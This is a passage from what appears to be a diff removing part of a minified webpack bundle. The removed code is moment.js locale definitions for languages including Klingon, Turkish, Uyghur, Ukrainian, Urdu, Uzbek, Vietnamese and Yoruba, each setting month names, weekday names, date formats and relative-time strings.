"nem" : t + " pIq"; - return t - } - - function n(e) { - var t = e; - t = e.indexOf("jaj") !== -1 ? t.slice(0, -3) + "Hu’" : e.indexOf("jar") !== -1 ? t.slice(0, -3) + "wen" : e.indexOf("DIS") !== -1 ? t.slice(0, -3) + "ben" : t + " ret"; - return t - } - - function r(e, t, i, n) { - var r = a(e); - switch (i) { - case "ss": - return r + " lup"; - case "mm": - return r + " tup"; - case "hh": - return r + " rep"; - case "dd": - return r + " jaj"; - case "MM": - return r + " jar"; - case "yy": - return r + " DIS" - } - } - - function a(e) { - var i = Math.floor(e % 1e3 / 100), - n = Math.floor(e % 100 / 10), - r = e % 10, - a = ""; - if (i > 0) { - a += t[i] + "vatlh" - } - if (n > 0) { - a += (a !== "" ? " " : "") + t[n] + "maH" - } - if (r > 0) { - a += (a !== "" ? " " : "") + t[r] - } - return a === "" ? "pagh" : a - } - var s = e.defineLocale("tlh", { - months: "tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"), - monthsShort: "jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"), - monthsParseExact: true, - weekdays: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), - weekdaysShort: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), - weekdaysMin: "lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[DaHjaj] LT", - nextDay: "[wa’leS] LT", - nextWeek: "LLL", - lastDay: "[wa’Hu’] LT", - lastWeek: "LLL", - sameElse: "L" - }, - relativeTime: { - future: i, - past: n, - s: "puS lup", - ss: r, - m: "wa’ tup", - mm: r, - h: "wa’ rep", - hh: r, - d: "wa’ jaj", - dd: r, - M: "wa’ jar", - MM: r, - y: "wa’ DIS", - yy: r - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "'inci", - 5: "'inci", - 8: "'inci", - 70: "'inci", - 80: "'inci", - 2: "'nci", - 7: "'nci", - 20: "'nci", - 50: "'nci", - 3: "'üncü", - 4: "'üncü", - 100: "'üncü", - 6: "'ncı", - 9: "'uncu", - 10: "'uncu", - 30: "'uncu", - 60: "'ıncı", - 90: "'ıncı" - }; - var i = e.defineLocale("tr", { - months: "Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"), - monthsShort: "Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"), - weekdays: "Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"), - weekdaysShort: "Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"), - weekdaysMin: "Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[bugün saat] LT", - nextDay: "[yarın saat] LT", - nextWeek: "[gelecek] dddd [saat] LT", - lastDay: "[dün] LT", - lastWeek: "[geçen] dddd [saat] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s sonra", - past: "%s önce", - s: "birkaç saniye", - ss: "%d saniye", - m: "bir dakika", - mm: "%d dakika", - h: "bir saat", - hh: "%d saat", - d: "bir gün", - dd: "%d gün", - M: "bir ay", - MM: "%d ay", - y: "bir yıl", - yy: "%d yıl" - }, - ordinal: function (e, i) { - switch (i) { - case "d": - case "D": - case "Do": - case "DD": - return e; - default: - if (e === 0) { - return e + "'ıncı" - } - var n = e % 10, - r = e % 100 - n, - a = e >= 100 ? 100 : null; - return e + (t[n] || t[r] || t[a]) - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("tzl", { - months: "Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"), - monthsShort: "Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"), - weekdays: "Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"), - weekdaysShort: "Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"), - weekdaysMin: "Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD.MM.YYYY", - LL: "D. MMMM [dallas] YYYY", - LLL: "D. MMMM [dallas] YYYY HH.mm", - LLLL: "dddd, [li] D. MMMM [dallas] YYYY HH.mm" - }, - meridiemParse: /d\'o|d\'a/i, - isPM: function (e) { - return "d'o" === e.toLowerCase() - }, - meridiem: function (e, t, i) { - if (e > 11) { - return i ? "d'o" : "D'O" - } else { - return i ? "d'a" : "D'A" - } - }, - calendar: { - sameDay: "[oxhi à] LT", - nextDay: "[demà à] LT", - nextWeek: "dddd [à] LT", - lastDay: "[ieiri à] LT", - lastWeek: "[sür el] dddd [lasteu à] LT", - sameElse: "L" - }, - relativeTime: { - future: "osprei %s", - past: "ja%s", - s: i, - ss: i, - m: i, - mm: i, - h: i, - hh: i, - d: i, - dd: i, - M: i, - MM: i, - y: i, - yy: i - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - - function i(e, t, i, n) { - var r = { - s: ["viensas secunds", "'iensas secunds"], - ss: [e + " secunds", "" + e + " secunds"], - m: ["'n míut", "'iens míut"], - mm: [e + " míuts", "" + e + " míuts"], - h: ["'n þora", "'iensa þora"], - hh: [e + " þoras", "" + e + " þoras"], - d: ["'n ziua", "'iensa ziua"], - dd: [e + " ziuas", "" + e + " ziuas"], - M: ["'n mes", "'iens mes"], - MM: [e + " mesen", "" + e + " mesen"], - y: ["'n ar", "'iens ar"], - yy: [e + " ars", "" + e + " ars"] - }; - return n ? r[i][0] : t ? r[i][0] : r[i][1] - } - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("tzm", { - months: "ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"), - monthsShort: "ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"), - weekdays: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), - weekdaysShort: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), - weekdaysMin: "ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[ⴰⵙⴷⵅ ⴴ] LT", - nextDay: "[ⴰⵙⴽⴰ ⴴ] LT", - nextWeek: "dddd [ⴴ] LT", - lastDay: "[ⴰⵚⴰⵏⵜ ⴴ] LT", - lastWeek: "dddd [ⴴ] LT", - sameElse: "L" - }, - relativeTime: { - future: "ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s", - past: "ⵢⴰⵏ %s", - s: "ⵉⵎⵉⴽ", - ss: "%d ⵉⵎⵉⴽ", - m: "ⵎⵉⵏⵓⴺ", - mm: "%d ⵎⵉⵏⵓⴺ", - h: "ⵙⴰⵄⴰ", - hh: "%d ⵜⴰⵙⵙⴰⵄⵉⵏ", - d: "ⴰⵙⵙ", - dd: "%d oⵙⵙⴰⵏ", - M: "ⴰⵢoⵓⵔ", - MM: "%d ⵉⵢⵢⵉⵔⵏ", - y: "ⴰⵙⴳⴰⵙ", - yy: "%d ⵉⵙⴳⴰⵙⵏ" - }, - week: { - dow: 6, - doy: 12 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("tzm-latn", { - months: "innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"), - monthsShort: "innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"), - weekdays: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), - weekdaysShort: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), - weekdaysMin: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[asdkh g] LT", - nextDay: "[aska g] LT", - nextWeek: "dddd [g] LT", - lastDay: "[assant g] LT", - lastWeek: "dddd [g] LT", - sameElse: "L" - }, - relativeTime: { - future: "dadkh s yan %s", - past: "yan %s", - s: "imik", - ss: "%d imik", - m: "minuḍ", - mm: "%d minuḍ", - h: "saɛa", - hh: "%d tassaɛin", - d: "ass", - dd: "%d ossan", - M: "ayowr", - MM: "%d iyyirn", - y: "asgas", - yy: "%d isgasn" - }, - week: { - dow: 6, - doy: 12 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ug-cn", { - months: "يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"), - monthsShort: "يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"), - weekdays: "يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"), - weekdaysShort: "يە_دۈ_سە_چا_پە_جۈ_شە".split("_"), - weekdaysMin: "يە_دۈ_سە_چا_پە_جۈ_شە".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "YYYY-يىلىM-ئاينىڭD-كۈنى", - LLL: "YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm", - LLLL: "dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm" - }, - meridiemParse: /يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "يېرىم كېچە" || t === "سەھەر" || t === "چۈشتىن بۇرۇن") { - return e - } else if (t === "چۈشتىن كېيىن" || t === "كەچ") { - return e + 12 - } else { - return e >= 11 ? e : e + 12 - } - }, - meridiem: function (e, t, i) { - var n = e * 100 + t; - if (n < 600) { - return "يېرىم كېچە" - } else if (n < 900) { - return "سەھەر" - } else if (n < 1130) { - return "چۈشتىن بۇرۇن" - } else if (n < 1230) { - return "چۈش" - } else if (n < 1800) { - return "چۈشتىن كېيىن" - } else { - return "كەچ" - } - }, - calendar: { - sameDay: "[بۈگۈن سائەت] LT", - nextDay: "[ئەتە سائەت] LT", - nextWeek: "[كېلەركى] dddd [سائەت] LT", - lastDay: "[تۆنۈگۈن] LT", - lastWeek: "[ئالدىنقى] dddd [سائەت] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s كېيىن", - past: "%s بۇرۇن", - s: "نەچچە سېكونت", - ss: "%d سېكونت", - m: "بىر مىنۇت", - mm: "%d مىنۇت", - h: "بىر سائەت", - hh: "%d سائەت", - d: "بىر كۈن", - dd: "%d كۈن", - M: "بىر ئاي", - MM: "%d ئاي", - y: "بىر يىل", - yy: "%d يىل" - }, - dayOfMonthOrdinalParse: /\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "-كۈنى"; - case "w": - case "W": - return e + "-ھەپتە"; - default: - return e - } - }, - preparse: function (e) { - return e.replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/,/g, "،") - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t) { - var i = e.split("_"); - return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] - } - - function i(e, i, n) { - var r = { - ss: i ? "секунда_секунди_секунд" : "секунду_секунди_секунд", - mm: i ? "хвилина_хвилини_хвилин" : "хвилину_хвилини_хвилин", - hh: i ? "година_години_годин" : "годину_години_годин", - dd: "день_дні_днів", - MM: "місяць_місяці_місяців", - yy: "рік_роки_років" - }; - if (n === "m") { - return i ? "хвилина" : "хвилину" - } else if (n === "h") { - return i ? "година" : "годину" - } else { - return e + " " + t(r[n], +e) - } - } - - function n(e, t) { - var i = { - nominative: "неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота".split("_"), - accusative: "неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу".split("_"), - genitive: "неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи".split("_") - }; - if (e === true) { - return i["nominative"].slice(1, 7).concat(i["nominative"].slice(0, 1)) - } - if (!e) { - return i["nominative"] - } - var n = /(\[[ВвУу]\]) ?dddd/.test(t) ? "accusative" : /\[?(?:минулої|наступної)? ?\] ?dddd/.test(t) ? "genitive" : "nominative"; - return i[n][e.day()] - } - - function r(e) { - return function () { - return e + "о" + (this.hours() === 11 ? "б" : "") + "] LT" - } - } - var a = e.defineLocale("uk", { - months: { - format: "січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня".split("_"), - standalone: "січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень".split("_") - }, - monthsShort: "січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд".split("_"), - weekdays: n, - weekdaysShort: "нд_пн_вт_ср_чт_пт_сб".split("_"), - weekdaysMin: "нд_пн_вт_ср_чт_пт_сб".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY р.", - LLL: "D MMMM YYYY р., HH:mm", - LLLL: "dddd, D MMMM YYYY р., HH:mm" - }, - calendar: { - sameDay: r("[Сьогодні "), - nextDay: r("[Завтра "), - lastDay: r("[Вчора "), - nextWeek: r("[У] dddd ["), - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - case 5: - case 6: - return r("[Минулої] dddd [").call(this); - case 1: - case 2: - case 4: - return r("[Минулого] dddd [").call(this) - } - }, - sameElse: "L" - }, - relativeTime: { - future: "за %s", - past: "%s тому", - s: "декілька секунд", - ss: i, - m: i, - mm: i, - h: "годину", - hh: i, - d: "день", - dd: i, - M: "місяць", - MM: i, - y: "рік", - yy: i - }, - meridiemParse: /ночі|ранку|дня|вечора/, - isPM: function (e) { - return /^(дня|вечора)$/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "ночі" - } else if (e < 12) { - return "ранку" - } else if (e < 17) { - return "дня" - } else { - return "вечора" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}-(й|го)/, - ordinal: function (e, t) { - switch (t) { - case "M": - case "d": - case "DDD": - case "w": - case "W": - return e + "-й"; - case "D": - return e + "-го"; - default: - return e - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = ["جنوری", "فروری", "مارچ", "اپریل", "مئی", "جون", "جولائی", "اگست", "ستمبر", "اکتوبر", "نومبر", "دسمبر"]; - var i = ["اتوار", "پیر", "منگل", "بدھ", "جمعرات", "جمعہ", "ہفتہ"]; - var n = e.defineLocale("ur", { - months: t, - monthsShort: t, - weekdays: i, - weekdaysShort: i, - weekdaysMin: i, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd، D MMMM YYYY HH:mm" - }, - meridiemParse: /صبح|شام/, - isPM: function (e) { - return "شام" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "صبح" - } - return "شام" - }, - calendar: { - sameDay: "[آج بوقت] LT", - nextDay: "[کل بوقت] LT", - nextWeek: "dddd [بوقت] LT", - lastDay: "[گذشتہ روز بوقت] LT", - lastWeek: "[گذشتہ] dddd [بوقت] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s بعد", - past: "%s قبل", - s: "چند سیکنڈ", - ss: "%d سیکنڈ", - m: "ایک منٹ", - mm: "%d منٹ", - h: "ایک گھنٹہ", - hh: "%d گھنٹے", - d: "ایک دن", - dd: "%d دن", - M: "ایک ماہ", - MM: "%d ماہ", - y: "ایک سال", - yy: "%d سال" - }, - preparse: function (e) { - return e.replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/,/g, "،") - }, - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("uz", { - months: "январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"), - monthsShort: "янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"), - weekdays: "Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба".split("_"), - weekdaysShort: "Якш_Душ_Сеш_Чор_Пай_Жум_Шан".split("_"), - weekdaysMin: "Як_Ду_Се_Чо_Па_Жу_Ша".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "D MMMM YYYY, dddd HH:mm" - }, - calendar: { - sameDay: "[Бугун соат] LT [да]", - nextDay: "[Эртага] LT [да]", - nextWeek: "dddd [куни соат] LT [да]", - lastDay: "[Кеча соат] LT [да]", - lastWeek: "[Утган] dddd [куни соат] LT [да]", - sameElse: "L" - }, - relativeTime: { - future: "Якин %s ичида", - past: "Бир неча %s олдин", - s: "фурсат", - ss: "%d фурсат", - m: "бир дакика", - mm: "%d дакика", - h: "бир соат", - hh: "%d соат", - d: "бир кун", - dd: "%d кун", - M: "бир ой", - MM: "%d ой", - y: "бир йил", - yy: "%d йил" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("uz-latn", { - months: "Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr".split("_"), - monthsShort: "Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek".split("_"), - weekdays: "Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba".split("_"), - weekdaysShort: "Yak_Dush_Sesh_Chor_Pay_Jum_Shan".split("_"), - weekdaysMin: "Ya_Du_Se_Cho_Pa_Ju_Sha".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "D MMMM YYYY, dddd HH:mm" - }, - calendar: { - sameDay: "[Bugun soat] LT [da]", - nextDay: "[Ertaga] LT [da]", - nextWeek: "dddd [kuni soat] LT [da]", - lastDay: "[Kecha soat] LT [da]", - lastWeek: "[O'tgan] dddd [kuni soat] LT [da]", - sameElse: "L" - }, - relativeTime: { - future: "Yaqin %s ichida", - past: "Bir necha %s oldin", - s: "soniya", - ss: "%d soniya", - m: "bir daqiqa", - mm: "%d daqiqa", - h: "bir soat", - hh: "%d soat", - d: "bir kun", - dd: "%d kun", - M: "bir oy", - MM: "%d oy", - y: "bir yil", - yy: "%d yil" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("vi", { - months: "tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"), - monthsShort: "Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12".split("_"), - monthsParseExact: true, - weekdays: "chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"), - weekdaysShort: "CN_T2_T3_T4_T5_T6_T7".split("_"), - weekdaysMin: "CN_T2_T3_T4_T5_T6_T7".split("_"), - weekdaysParseExact: true, - meridiemParse: /sa|ch/i, - isPM: function (e) { - return /^ch$/i.test(e) - }, - meridiem: function (e, t, i) { - if (e < 12) { - return i ? "sa" : "SA" - } else { - return i ? "ch" : "CH" - } - }, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM [năm] YYYY", - LLL: "D MMMM [năm] YYYY HH:mm", - LLLL: "dddd, D MMMM [năm] YYYY HH:mm", - l: "DD/M/YYYY", - ll: "D MMM YYYY", - lll: "D MMM YYYY HH:mm", - llll: "ddd, D MMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Hôm nay lúc] LT", - nextDay: "[Ngày mai lúc] LT", - nextWeek: "dddd [tuần tới lúc] LT", - lastDay: "[Hôm qua lúc] LT", - lastWeek: "dddd [tuần rồi lúc] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s tới", - past: "%s trước", - s: "vài giây", - ss: "%d giây", - m: "một phút", - mm: "%d phút", - h: "một giờ", - hh: "%d giờ", - d: "một ngày", - dd: "%d ngày", - M: "một tháng", - MM: "%d tháng", - y: "một năm", - yy: "%d năm" - }, - dayOfMonthOrdinalParse: /\d{1,2}/, - ordinal: function (e) { - return e - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("x-pseudo", { - months: "J~áñúá~rý_F~ébrú~árý_~Márc~h_Áp~ríl_~Máý_~Júñé~_Júl~ý_Áú~gúst~_Sép~témb~ér_Ó~ctób~ér_Ñ~óvém~bér_~Décé~mbér".split("_"), - monthsShort: "J~áñ_~Féb_~Már_~Ápr_~Máý_~Júñ_~Júl_~Áúg_~Sép_~Óct_~Ñóv_~Déc".split("_"), - monthsParseExact: true, - weekdays: "S~úñdá~ý_Mó~ñdáý~_Túé~sdáý~_Wéd~ñésd~áý_T~húrs~dáý_~Fríd~áý_S~átúr~dáý".split("_"), - weekdaysShort: "S~úñ_~Móñ_~Túé_~Wéd_~Thú_~Frí_~Sát".split("_"), - weekdaysMin: "S~ú_Mó~_Tú_~Wé_T~h_Fr~_Sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[T~ódá~ý át] LT", - nextDay: "[T~ómó~rró~w át] LT", - nextWeek: "dddd [át] LT", - lastDay: "[Ý~ést~érdá~ý át] LT", - lastWeek: "[L~ást] dddd [át] LT", - sameElse: "L" - }, - relativeTime: { - future: "í~ñ %s", - past: "%s á~gó", - s: "á ~féw ~sécó~ñds", - ss: "%d s~écóñ~ds", - m: "á ~míñ~úté", - mm: "%d m~íñú~tés", - h: "á~ñ hó~úr", - hh: "%d h~óúrs", - d: "á ~dáý", - dd: "%d d~áýs", - M: "á ~móñ~th", - MM: "%d m~óñt~hs", - y: "á ~ýéár", - yy: "%d ý~éárs" - }, - dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("yo", { - months: "Sẹ́rẹ́_Èrèlè_Ẹrẹ̀nà_Ìgbé_Èbibi_Òkùdu_Agẹmo_Ògún_Owewe_Ọ̀wàrà_Bélú_Ọ̀pẹ̀̀".split("_"), - monthsShort: "Sẹ́r_Èrl_Ẹrn_Ìgb_Èbi_Òkù_Agẹ_Ògú_Owe_Ọ̀wà_Bél_Ọ̀pẹ̀̀".split("_"), - weekdays: "Àìkú_Ajé_Ìsẹ́gun_Ọjọ́rú_Ọjọ́bọ_Ẹtì_Àbámẹ́ta".split("_"), - weekdaysShort: "Àìk_Ajé_Ìsẹ́_Ọjr_Ọjb_Ẹtì_Àbá".split("_"), - weekdaysMin: "Àì_Aj_Ìs_Ọr_Ọb_Ẹt_Àb".split("_"), - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendar: { - sameDay: "[Ònì ni] LT", - nextDay: "[Ọ̀la ni] LT", - nextWeek: "dddd [Ọsẹ̀ tón'bọ] [ni] LT", - lastDay: "[Àna ni] LT", - lastWeek: "dddd [Ọsẹ̀ tólọ́] [ni] LT", - sameElse: "L" - }, - relativeTime: { - future: "ní %s", - past: "%s kọjá", - s: "ìsẹjú aayá die", - ss: "aayá %d", - m: "ìsẹjú kan", - mm: "ìsẹjú %d", - h: "wákati kan", - hh: "wákati %d", - d: "ọjọ́ kan", - dd: "ọjọ́ %d", - M: "osù kan", - MM: "osù %d", - y: "ọdún kan", - yy: "ọdún %d" - }, - dayOfMonthOrdinalParse: /ọjọ́\s\d{1,2}/, - ordinal: "ọjọ́ %d", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define 